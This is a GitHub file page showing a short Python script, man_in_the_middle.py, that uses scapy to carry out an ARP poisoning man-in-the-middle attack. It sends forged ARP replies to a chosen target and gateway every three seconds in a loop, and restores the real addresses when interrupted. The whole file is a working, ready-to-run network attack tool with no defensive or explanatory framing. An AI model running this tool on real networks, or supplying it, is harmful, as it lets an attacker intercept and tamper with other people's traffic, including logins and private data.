-
Notifications
You must be signed in to change notification settings - Fork 0
/
man_in_the_middle.py
113 lines (43 loc) · 1.74 KB
/
man_in_the_middle.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import scapy.all as scapy
import time
import optparse
def get_mac_address(ip):
arp_request_packet = scapy.ARP(pdst=ip)
broadcast_packet = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
combined_packet = broadcast_packet / arp_request_packet
answered_list= scapy.srp(combined_packet, timeout=1,verbose=False)[0]
return answered_list[0][1].hwsrc
def arp_poisoning(target_ip,poisoned_ip):
target_mac = get_mac_address(target_ip)
arp_response = scapy.ARP(op=2,pdst=target_ip,hwdst=target_mac,psrc=poisoned_ip)
scapy.send(arp_response,verbose=False)
def reset_operation(fooled_ip,gateway_ip):
fooled_mac = get_mac_address(fooled_ip)
gateway_mac = get_mac_address(gateway_ip)
arp_response = scapy.ARP(op=2,pdst=fooled_ip,hwdst=fooled_mac,psrc=gateway_ip,hwsrc=gateway_mac)
scapy.send(arp_response,verbose=False,count=6)
def get_user_input():
parse_object = optparse.OptionParser()
parse_object.add_option("-t","--target",dest="target_ip",help="Enter Target IP")
parse_object.add_option("-g","--gateway",dest="getaway_ip",help="Enter Gateway IP")
options = parse_object.parse_args()[0]
if not options.target_ip:
print("Enter Target IP")
if not options.getaway_ip:
print("Enter gateway IP")
return options
number = 0
user_ips = get_user_input()
user_target_ip = user_ips.target_ip
user_gateway_ip = user_ips.getaway_ip
try:
while True:
arp_poisoning(user_target_ip,user_gateway_ip)
arp_poisoning(user_gateway_ip,user_target_ip)
print("\rMITM PACKET SENDING...: "+str(number),end="")
number += 3
time.sleep(3)
except KeyboardInterrupt:
print("\nQuit and Reset")
reset_operation(user_target_ip,user_gateway_ip)
reset_operation(user_gateway_ip,user_target_ip)